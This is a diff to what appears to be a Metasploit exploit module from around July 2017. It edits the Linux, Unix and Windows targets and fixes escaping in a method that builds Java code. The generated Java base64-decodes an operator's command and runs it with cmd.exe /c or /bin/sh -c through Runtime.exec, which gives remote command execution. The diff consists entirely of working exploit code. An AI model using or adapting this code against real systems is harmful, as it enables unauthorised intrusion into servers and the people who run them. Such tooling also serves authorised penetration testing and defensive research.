@@ -34,8 +34,7 @@ def initialize(info = {})
34
34
[
35
35
[ 'Linux' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ] ,
36
36
[ 'Unix CMD' , { 'Arch' => ARCH_CMD , 'Platform' => 'unix' , 'Payload' => { 'BadChars' => "\x22 " } } ] ,
37
- # WARNING: Not tested against Windows
38
- [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' , 'CmdStagerFlavor' => [ 'debug_asm' , 'debug_write' , 'vbs' , 'certutil' ] } ]
37
+ [ 'Windows' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' , 'CmdStagerFlavor' => [ 'vbs' , 'certutil' ] } ]
39
38
] ,
40
39
'DisclosureDate' => 'Jul 13 2017' ,
41
40
'DefaultTarget' => 0 ) )
@@ -132,18 +131,18 @@ def java_craft_runtime_exec(cmd)
132
131
decoder = Rex ::Text . rand_text_alpha ( 5 , 8 )
133
132
decoded_bytes = Rex ::Text . rand_text_alpha ( 5 , 8 )
134
133
cmd_array = Rex ::Text . rand_text_alpha ( 5 , 8 )
135
- jcode = "sun.misc.BASE64Decoder #{ decoder } = new sun.misc.BASE64Decoder();\\ n"
136
- jcode << "byte[] #{ decoded_bytes } = #{ decoder } .decodeBuffer(\\ \ "#{ Rex ::Text . encode_base64 ( cmd ) } \\ \ " );\ \ n"
137
- jcode << "String [] #{ cmd_array } = new String[3];\\ n"
134
+ jcode = "sun.misc.BASE64Decoder #{ decoder } = new sun.misc.BASE64Decoder();\n "
135
+ jcode << "byte[] #{ decoded_bytes } = #{ decoder } .decodeBuffer(\" #{ Rex ::Text . encode_base64 ( cmd ) } \" );\n "
136
+ jcode << "String [] #{ cmd_array } = new String[3];\n "
138
137
if target [ 'Platform' ] == 'win'
139
- jcode << "#{ cmd_array } [0] = \\ \ " cmd.exe\\ \" ; \ \ n"
140
- jcode << "#{ cmd_array } [1] = \\ \ " /c\\ \" ; \ \ n"
138
+ jcode << "#{ cmd_array } [0] = \" cmd.exe\" ; \n "
139
+ jcode << "#{ cmd_array } [1] = \" /c\" ; \n "
141
140
else
142
- jcode << "#{ cmd_array } [0] = \\ \ " /bin/sh\\ \" ; \ \ n"
143
- jcode << "#{ cmd_array } [1] = \\ \ " -c\\ \" ; \ \ n"
141
+ jcode << "#{ cmd_array } [0] = \" /bin/sh\" ; \n "
142
+ jcode << "#{ cmd_array } [1] = \" -c\" ; \n "
144
143
end
145
- jcode << "#{ cmd_array } [2] = new String(#{ decoded_bytes } , \\ \ " UTF-8\\ \ " );\ \ n"
146
- jcode << "Runtime.getRuntime().exec(#{ cmd_array } );"
144
+ jcode << "#{ cmd_array } [2] = new String(#{ decoded_bytes } , \" UTF-8\" );\n "
145
+ jcode << "Runtime.getRuntime().exec(#{ cmd_array } );\n "
147
146
jcode
148
147
end
149
148
0 commit comments